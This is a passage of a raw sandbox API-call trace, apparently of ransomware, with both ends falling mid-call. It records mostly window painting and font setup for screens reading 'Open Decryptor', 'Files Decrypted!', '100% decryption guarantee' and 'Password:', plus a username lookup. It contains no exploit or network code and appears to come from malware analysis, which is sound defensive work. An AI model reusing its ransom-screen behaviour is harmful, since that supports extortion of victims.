(lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0156.497] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0156.497] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0156.497] SetCursor (hCursor=0x10003) returned 0x10003 [0156.497] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.497] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.497] GetKeyState (nVirtKey=1) returned -127 [0156.497] GetKeyState (nVirtKey=2) returned 0 [0156.498] GetKeyState (nVirtKey=4) returned 0 [0156.498] GetKeyState (nVirtKey=5) returned 0 [0156.498] GetKeyState (nVirtKey=6) returned 0 [0156.498] IsWindowVisible (hWnd=0x30212) returned 1 [0156.498] IsWindowEnabled (hWnd=0x30212) returned 1 [0156.498] SetFocus (hWnd=0x30212) [0156.498] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0156.498] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x8, wParam=0x30212, lParam=0x0) returned 0x1 [0156.498] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x167, wParam=0x0, lParam=0x0) returned 0x1 [0156.498] SendMessageW (hWnd=0x20230, Msg=0x2111, wParam=0xa0230, lParam=0x20230) returned 0x0 [0156.501] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0156.502] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0156.502] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0156.502] SendMessageW (hWnd=0x20230, Msg=0x2111, wParam=0x40230, lParam=0x20230) returned 0x0 [0156.503] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0156.505] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0156.505] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0156.505] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x282, wParam=0xb, lParam=0x0) returned 0x0 [0156.506] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0156.506] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x282, wParam=0xf, lParam=0xe023b) returned 0x0 [0156.507] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0156.522] SetCapture (hWnd=0x30212) returned 0x0 [0156.522] GetKeyState (nVirtKey=1) returned -127 [0156.522] GetKeyState (nVirtKey=2) returned 0 [0156.522] GetKeyState (nVirtKey=4) returned 0 [0156.522] GetKeyState (nVirtKey=5) returned 0 [0156.522] GetKeyState (nVirtKey=6) returned 0 [0156.522] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0156.523] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0156.523] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.523] IsWindowUnicode (hWnd=0x30212) returned 1 [0156.523] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.523] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.523] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.523] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x30045ec, cPoints=0x1 | out: lpPoints=0x30045ec) returned 36176186 [0156.524] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0156.524] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0156.524] UpdateWindow (hWnd=0x30212) returned 1 [0156.524] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x1e0106e1 [0156.524] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0156.524] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x6010724 [0156.524] SelectObject (hdc=0x6010724, h=0x6050721) returned 0x85000f [0156.524] GdipCreateFromHDC (hdc=0x6010724, graphics=0x19e570) returned 0x0 [0156.525] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0156.525] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0156.525] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0156.525] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0156.525] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e5d0) returned 0x0 [0156.525] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75b40 [0156.525] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75b40) returned 0x0 [0156.525] LocalFree (hMem=0xf75b40) returned 0x0 [0156.525] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0156.525] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0156.525] GdipGetClip (graphics=0x6915b98, region=0x691d328) returned 0x0 [0156.525] GdipIsInfiniteRegion (region=0x691d328, graphics=0x6915b98, result=0x19e5c4) returned 0x0 [0156.525] GdipSaveGraphics (graphics=0x6915b98, state=0x19e5f0) returned 0x0 [0156.525] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd7b0dbd) returned 0x0 [0156.525] GdipDeleteRegion (region=0x691d328) returned 0x0 [0156.525] GdipGetDC (graphics=0x6915b98, hdc=0x19e3a0) returned 0x0 [0156.525] GetCurrentObject (hdc=0x6010724, type=0x1) returned 0xb00017 [0156.525] GetCurrentObject (hdc=0x6010724, type=0x2) returned 0x900010 [0156.525] GetCurrentObject (hdc=0x6010724, type=0x7) returned 0x6050721 [0156.525] GetCurrentObject (hdc=0x6010724, type=0x6) returned 0x8a01c2 [0156.525] SaveDC (hdc=0x6010724) returned 1 [0156.526] GetNearestColor (hdc=0x6010724, color=0x323533) returned 0x323533 [0156.526] GetNearestColor (hdc=0x6010724, color=0x111111) returned 0x111111 [0156.526] GetNearestColor (hdc=0x6010724, color=0x0) returned 0x0 [0156.526] GetNearestColor (hdc=0x6010724, color=0x868c88) returned 0x868c88 [0156.526] GetNearestColor (hdc=0x6010724, color=0x6994f5) returned 0x6994f5 [0156.526] GetNearestColor (hdc=0x6010724, color=0x969c98) returned 0x969c98 [0156.526] GetNearestColor (hdc=0x6010724, color=0x868c88) returned 0x868c88 [0156.526] GetNearestColor (hdc=0x6010724, color=0x3c3f3d) returned 0x3c3f3d [0156.526] GetNearestColor (hdc=0x6010724, color=0x6994f5) returned 0x6994f5 [0156.526] RestoreDC (hdc=0x6010724, nSavedDC=-1) returned 1 [0156.526] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010724) returned 0x0 [0156.526] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x60a0723 [0156.526] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e25c, format=0x102415, lpdtp=0x3004ad8 | out: lpchText="Open Decryptor", lprc=0x19e25c) returned 60 [0156.527] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0156.527] GdipGetClip (graphics=0x6915b98, region=0x691d328) returned 0x0 [0156.527] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0156.527] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0156.527] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e2fc) returned 0x0 [0156.527] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf754b0 [0156.527] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf754b0) returned 0x0 [0156.527] LocalFree (hMem=0xf754b0) returned 0x0 [0156.527] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf754b0 [0156.527] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf754b0) returned 0x0 [0156.527] LocalFree (hMem=0xf754b0) returned 0x0 [0156.527] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0156.527] GdipIsInfiniteRegion (region=0x691d328, graphics=0x6915b98, result=0x19e324) returned 0x0 [0156.527] GdipIsInfiniteRegion (region=0x691d328, graphics=0x6915b98, result=0x19e314) returned 0x0 [0156.527] GdipGetRegionHRgn (region=0x691d328, graphics=0x6915b98, hRgn=0x19e314) returned 0x0 [0156.527] GdipDeleteRegion (region=0x691d328) returned 0x0 [0156.527] GdipGetDC (graphics=0x6915b98, hdc=0x19e32c) returned 0x0 [0156.527] GetCurrentObject (hdc=0x6010724, type=0x1) returned 0xb00017 [0156.527] GetCurrentObject (hdc=0x6010724, type=0x2) returned 0x900010 [0156.527] GetCurrentObject (hdc=0x6010724, type=0x7) returned 0x6050721 [0156.527] GetCurrentObject (hdc=0x6010724, type=0x6) returned 0x8a01c2 [0156.527] SaveDC (hdc=0x6010724) returned 1 [0156.527] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xec04070e [0156.527] GetClipRgn (hdc=0x6010724, hrgn=0xec04070e) returned 0 [0156.528] SelectClipRgn (hdc=0x6010724, hrgn=0xb00406fe) returned 2 [0156.528] DeleteObject (ho=0xec04070e) returned 1 [0156.528] DeleteObject (ho=0xb00406fe) returned 1 [0156.528] OffsetViewportOrgEx (in: hdc=0x6010724, x=0, y=0, lppt=0x3004cc8 | out: lppt=0x3004cc8) returned 1 [0156.528] GetNearestColor (hdc=0x6010724, color=0x3c3f3d) returned 0x3c3f3d [0156.528] CreateSolidBrush (color=0x3c3f3d) returned 0x2d100628 [0156.528] FillRect (hDC=0x6010724, lprc=0x19e330, hbr=0x2d100628) returned 1 [0156.529] DeleteObject (ho=0x2d100628) returned 1 [0156.529] RestoreDC (hdc=0x6010724, nSavedDC=-1) returned 1 [0156.529] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010724) returned 0x0 [0156.529] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e3a8) returned 0x0 [0156.529] GdipGetDC (graphics=0x6915b98, hdc=0x19e394) returned 0x0 [0156.529] GetCurrentObject (hdc=0x6010724, type=0x1) returned 0xb00017 [0156.529] GetCurrentObject (hdc=0x6010724, type=0x2) returned 0x900010 [0156.529] GetCurrentObject (hdc=0x6010724, type=0x7) returned 0x6050721 [0156.529] GetCurrentObject (hdc=0x6010724, type=0x6) returned 0x8a01c2 [0156.529] SaveDC (hdc=0x6010724) returned 1 [0156.529] GetTextAlign (hdc=0x6010724) returned 0x0 [0156.529] GetTextColor (hdc=0x6010724) returned 0x0 [0156.529] SetTextColor (hdc=0x6010724, color=0x6994f5) returned 0x0 [0156.529] GetCurrentObject (hdc=0x6010724, type=0x6) returned 0x8a01c2 [0156.530] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0156.530] SelectObject (hdc=0x6010724, h=0x110a0722) returned 0x8a01c2 [0156.530] GetBkMode (hdc=0x6010724) returned 2 [0156.530] SetBkMode (hdc=0x6010724, mode=1) returned 2 [0156.530] DrawTextExW (in: hdc=0x6010724, lpchText="Open Decryptor", cchText=14, lprc=0x19e1c4, format=0x102415, lpdtp=0x3004f84 | out: lpchText="Open Decryptor", lprc=0x19e1c4) returned 60 [0156.530] DrawTextExW (in: hdc=0x6010724, lpchText="Open Decryptor", cchText=14, lprc=0x19e328, format=0x102015, lpdtp=0x3004f84 | out: lpchText="Open Decryptor", lprc=0x19e328) returned 60 [0156.531] RestoreDC (hdc=0x6010724, nSavedDC=-1) returned 1 [0156.531] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010724) returned 0x0 [0156.531] GetFocus () returned 0x30212 [0156.531] GetFocus () returned 0x30212 [0156.531] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0156.531] GdipDrawRectangleI (graphics=0x6915b98, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0156.531] GdipDeletePen (pen=0x6915e78) returned 0x0 [0156.531] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0156.531] GdipDrawRectangleI (graphics=0x6915b98, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0156.531] GdipDeletePen (pen=0x6915e78) returned 0x0 [0156.531] GdipGetDC (graphics=0x6915b98, hdc=0x19e5b0) returned 0x0 [0156.531] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=178, cy=111, hdcSrc=0x6010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0156.531] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010724) returned 0x0 [0156.531] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0156.532] SelectObject (hdc=0x6010724, h=0x85000f) returned 0x6050721 [0156.532] DeleteDC (hdc=0x6010724) returned 1 [0156.532] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0156.532] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0156.532] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3005008, cPoints=0x1 | out: lpPoints=0x3005008) returned 36176186 [0156.532] WindowFromPoint (Point=0x177) returned 0x30212 [0156.532] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0156.532] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0156.532] NotifyWinEvent (event=0x800c, hwnd=0x30212, idObject=-4, idChild=0) [0156.533] CoTaskMemAlloc (cb=0x1e2) returned 0xf71000 [0156.560] CoTaskMemAlloc (cb=0xe) returned 0xf6d400 [0156.562] CoTaskMemAlloc (cb=0x13) returned 0xf776e8 [0156.565] CoTaskMemAlloc (cb=0x170) returned 0xf78968 [0156.571] CoTaskMemAlloc (cb=0xb) returned 0xf6d298 [0156.572] CoTaskMemAlloc (cb=0xb) returned 0xf6d2c8 [0156.573] GetUserNameW (in: lpBuffer=0x19e704, pcbBuffer=0x19e97c | out: lpBuffer="FD1HVy", pcbBuffer=0x19e97c) returned 1 [0156.574] CoTaskMemAlloc (cb=0xf) returned 0xf6d310 [0156.575] CoTaskMemAlloc (cb=0x6) returned 0xf22a10 [0156.577] CoTaskMemAlloc (cb=0xe) returned 0xf6d430 [0156.581] CoTaskMemAlloc (cb=0x10a4) returned 0xf78ae0 [0156.613] CoTaskMemAlloc (cb=0xf) returned 0xf6d370 [0156.614] CoTaskMemAlloc (cb=0xf) returned 0xf6d478 [0156.615] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.615] AdjustWindowRectEx (in: lpRect=0x19e458, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e458) returned 1 [0156.616] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.616] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0156.616] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.616] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0156.616] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.616] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0156.617] CoTaskMemAlloc (cb=0x6) returned 0xf22a30 [0156.618] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e340) returned 0x0 [0156.618] GdipGetFontHeight (font=0x57fef48, graphics=0x6915b28, height=0x19e338) returned 0x0 [0156.618] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0156.618] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0156.618] GetSystemMetrics (nIndex=5) returned 1 [0156.618] GetSystemMetrics (nIndex=6) returned 1 [0156.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.619] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e468) returned 1 [0156.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.619] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0156.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.619] AdjustWindowRectEx (in: lpRect=0x19e468, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e468) returned 1 [0156.619] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.619] AdjustWindowRectEx (in: lpRect=0x19e470, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e470) returned 1 [0156.620] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.620] AdjustWindowRectEx (in: lpRect=0x19e46c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e46c) returned 1 [0156.620] CoTaskMemAlloc (cb=0xe) returned 0xf6d508 [0156.621] CoTaskMemAlloc (cb=0xe) returned 0xf6d328 [0156.623] CoTaskMemAlloc (cb=0x17) returned 0xf77748 [0156.625] CoTaskMemAlloc (cb=0x12) returned 0xf77708 [0156.627] CoTaskMemAlloc (cb=0x12) returned 0xf77688 [0156.629] CoTaskMemAlloc (cb=0x12) returned 0xf77768 [0156.630] CoTaskMemAlloc (cb=0x12) returned 0xf77828 [0156.631] CoTaskMemAlloc (cb=0x12) returned 0xf77548 [0156.632] CoTaskMemAlloc (cb=0x12) returned 0xf77568 [0156.633] CoTaskMemAlloc (cb=0x12) returned 0xf77848 [0156.634] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0156.634] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x3006b14) returned 0x0 [0156.635] GdipGetFontSize (font=0x69119d8, size=0x3006b18) returned 0x0 [0156.635] CoTaskMemAlloc (cb=0x12) returned 0xf775a8 [0156.636] CoTaskMemAlloc (cb=0x12) returned 0xf774c8 [0156.637] CoTaskMemAlloc (cb=0x12) returned 0xf776c8 [0156.638] CoTaskMemAlloc (cb=0x12) returned 0xf775e8 [0156.639] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0156.639] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41640000, style=0, unit=0x3, font=0x3006dc8) returned 0x0 [0156.639] GdipGetFontSize (font=0x6911960, size=0x3006dcc) returned 0x0 [0156.639] CoTaskMemAlloc (cb=0xb) returned 0xf6d2e0 [0156.641] CoTaskMemAlloc (cb=0x12) returned 0xf77648 [0156.643] CoTaskMemAlloc (cb=0x12) returned 0xf77868 [0156.647] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0156.647] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41ae0000, style=1, unit=0x3, font=0x300709c) returned 0x0 [0156.647] GdipGetFontSize (font=0x6911a28, size=0x30070a0) returned 0x0 [0156.648] CoTaskMemAlloc (cb=0xb) returned 0xf6d2b0 [0156.649] CoTaskMemAlloc (cb=0x12) returned 0xf77788 [0156.650] CoTaskMemAlloc (cb=0x12) returned 0xf777a8 [0156.651] CoTaskMemAlloc (cb=0x12) returned 0xf77588 [0156.652] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0156.652] GdipCreateFont (fontFamily=0x57faee0, emSize=0x42100000, style=3, unit=0x3, font=0x300764c) returned 0x0 [0156.652] GdipGetFontSize (font=0x6911a50, size=0x3007650) returned 0x0 [0156.652] CoTaskMemAlloc (cb=0xb) returned 0xf6d568 [0156.654] CoTaskMemAlloc (cb=0x12) returned 0xf777c8 [0156.655] CoTaskMemAlloc (cb=0xe) returned 0xf6d340 [0156.656] CoTaskMemAlloc (cb=0x12) returned 0xf777e8 [0156.657] CoTaskMemAlloc (cb=0x12) returned 0xf77668 [0156.658] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0156.658] GdipCreateFont (fontFamily=0x57faee0, emSize=0x417c0000, style=1, unit=0x3, font=0x300796c) returned 0x0 [0156.658] GdipGetFontSize (font=0x6911ca8, size=0x3007970) returned 0x0 [0156.658] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.658] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0156.659] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.659] AdjustWindowRectEx (in: lpRect=0x19e3e4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e3e4) returned 1 [0156.659] CoTaskMemAlloc (cb=0x12) returned 0xf77808 [0156.660] CoTaskMemAlloc (cb=0x12) returned 0xf775c8 [0156.661] CoTaskMemAlloc (cb=0x12) returned 0xf774e8 [0156.746] GdipLoadImageFromStream (stream=0x2a2ff30, image=0x19de80) returned 0x0 [0156.746] GdipImageForceValidation (image=0x6915b28) returned 0x0 [0156.747] GdipGetImageType (image=0x6915b28, type=0x19de7c) returned 0x0 [0156.747] GdipGetImageRawFormat (image=0x6915b28, format=0x19ddf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0156.747] CoTaskMemAlloc (cb=0x12) returned 0xf77368 [0156.748] CoTaskMemAlloc (cb=0x12) returned 0xf773a8 [0156.750] CoTaskMemAlloc (cb=0x12) returned 0xf77148 [0156.752] CoTaskMemAlloc (cb=0x12) returned 0xf77228 [0156.753] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0156.753] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41900000, style=1, unit=0x3, font=0x300cee0) returned 0x0 [0156.753] GdipGetFontSize (font=0x6911c58, size=0x300cee4) returned 0x0 [0156.754] CoTaskMemAlloc (cb=0xb) returned 0xf6d388 [0156.755] CoTaskMemAlloc (cb=0x12) returned 0xf770e8 [0156.757] CoTaskMemAlloc (cb=0x12) returned 0xf77468 [0156.758] CoTaskMemAlloc (cb=0x12) returned 0xf77328 [0156.759] CoTaskMemAlloc (cb=0xe) returned 0xf6d4c0 [0156.760] CoTaskMemAlloc (cb=0x12) returned 0xf77168 [0156.761] GdipGetFamilyName (in: family=0x57faee0, name=0x19e100, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0156.761] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0156.761] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0156.762] CreateFontIndirectW (lplf=0xeeaba8) returned 0x210a0725 [0156.762] CoTaskMemFree (pv=0xeeaba8) [0156.762] GetObjectW (in: h=0x210a0725, c=92, pv=0x19e0c4 | out: pv=0x19e0c4) returned 92 [0156.762] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0156.762] GetMapMode (hdc=0x8e0106dd) returned 1 [0156.762] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e0f4 | out: lptm=0x19e0f4) returned 1 [0156.762] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x300d414 | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0156.797] GdipGetFamilyName (in: family=0x57faee0, name=0x19e100, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0156.797] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0156.797] CoTaskMemAlloc (cb=0x5c) returned 0xeeb158 [0156.797] CreateFontIndirectW (lplf=0xeeb158) returned 0xa0a0724 [0156.797] CoTaskMemFree (pv=0xeeb158) [0156.797] GetObjectW (in: h=0xa0a0724, c=92, pv=0x19e0c4 | out: pv=0x19e0c4) returned 92 [0156.797] SelectObject (hdc=0x8e0106dd, h=0xa0a0724) returned 0x210a0725 [0156.797] GetMapMode (hdc=0x8e0106dd) returned 1 [0156.797] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e0f4 | out: lptm=0x19e0f4) returned 1 [0156.798] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x300d820 | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0156.826] GetCurrentThreadId () returned 0x390 [0156.826] GetCurrentThreadId () returned 0x390 [0156.826] GetCurrentThreadId () returned 0x390 [0156.826] GetCurrentThreadId () returned 0x390 [0156.826] GetCurrentThreadId () returned 0x390 [0156.826] GetCurrentThreadId () returned 0x390 [0156.826] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.826] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0156.826] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19e100, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0156.826] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0156.826] CoTaskMemAlloc (cb=0x5c) returned 0xeeb158 [0156.826] CreateFontIndirectW (lplf=0xeeb158) returned 0xb0a0728 [0156.826] CoTaskMemFree (pv=0xeeb158) [0156.827] GetObjectW (in: h=0xb0a0728, c=92, pv=0x19e0c4 | out: pv=0x19e0c4) returned 92 [0156.827] DeleteObject (ho=0x230a0712) returned 1 [0156.827] SelectObject (hdc=0x8e0106dd, h=0xb0a0728) returned 0xa0a0724 [0156.827] GetMapMode (hdc=0x8e0106dd) returned 1 [0156.827] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e0f4 | out: lptm=0x19e0f4) returned 1 [0156.827] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x300dca4 | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0156.846] GetCurrentThreadId () returned 0x390 [0156.847] GetCurrentThreadId () returned 0x390 [0156.847] GetCurrentThreadId () returned 0x390 [0156.847] GetCurrentThreadId () returned 0x390 [0156.847] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.847] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0156.847] GdipGetFamilyName (in: family=0x57faee0, name=0x19e100, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0156.847] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0156.847] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0156.847] CreateFontIndirectW (lplf=0xeeaba8) returned 0x240a0712 [0156.847] CoTaskMemFree (pv=0xeeaba8) [0156.848] GetObjectW (in: h=0x240a0712, c=92, pv=0x19e0c4 | out: pv=0x19e0c4) returned 92 [0156.848] DeleteObject (ho=0x870a06c6) returned 1 [0156.848] SelectObject (hdc=0x8e0106dd, h=0x240a0712) returned 0xb0a0728 [0156.848] GetMapMode (hdc=0x8e0106dd) returned 1 [0156.848] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e0f4 | out: lptm=0x19e0f4) returned 1 [0156.848] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x300e080 | out: lpchText="Password:", lprc=0x19e200) returned 63 [0156.871] GetCurrentThreadId () returned 0x390 [0156.871] GetCurrentThreadId () returned 0x390 [0156.871] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0156.871] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x300e354) returned 0x0 [0156.871] GdipGetFontSize (font=0x6911c80, size=0x300e358) returned 0x0 [0156.872] CreateCompatibleDC (hdc=0x0) returned 0x880106c6 [0156.872] GetDC (hWnd=0x0) returned 0x60100ce [0156.872] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e22c) returned 0x0 [0156.872] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0156.872] GdipGetLogFontW (font=0x6911c80, graphics=0x691e928, logfontW=0xeeaba8) returned 0x0 [0156.872] CoTaskMemFree (pv=0xeeaba8) [0156.872] CoTaskMemAlloc 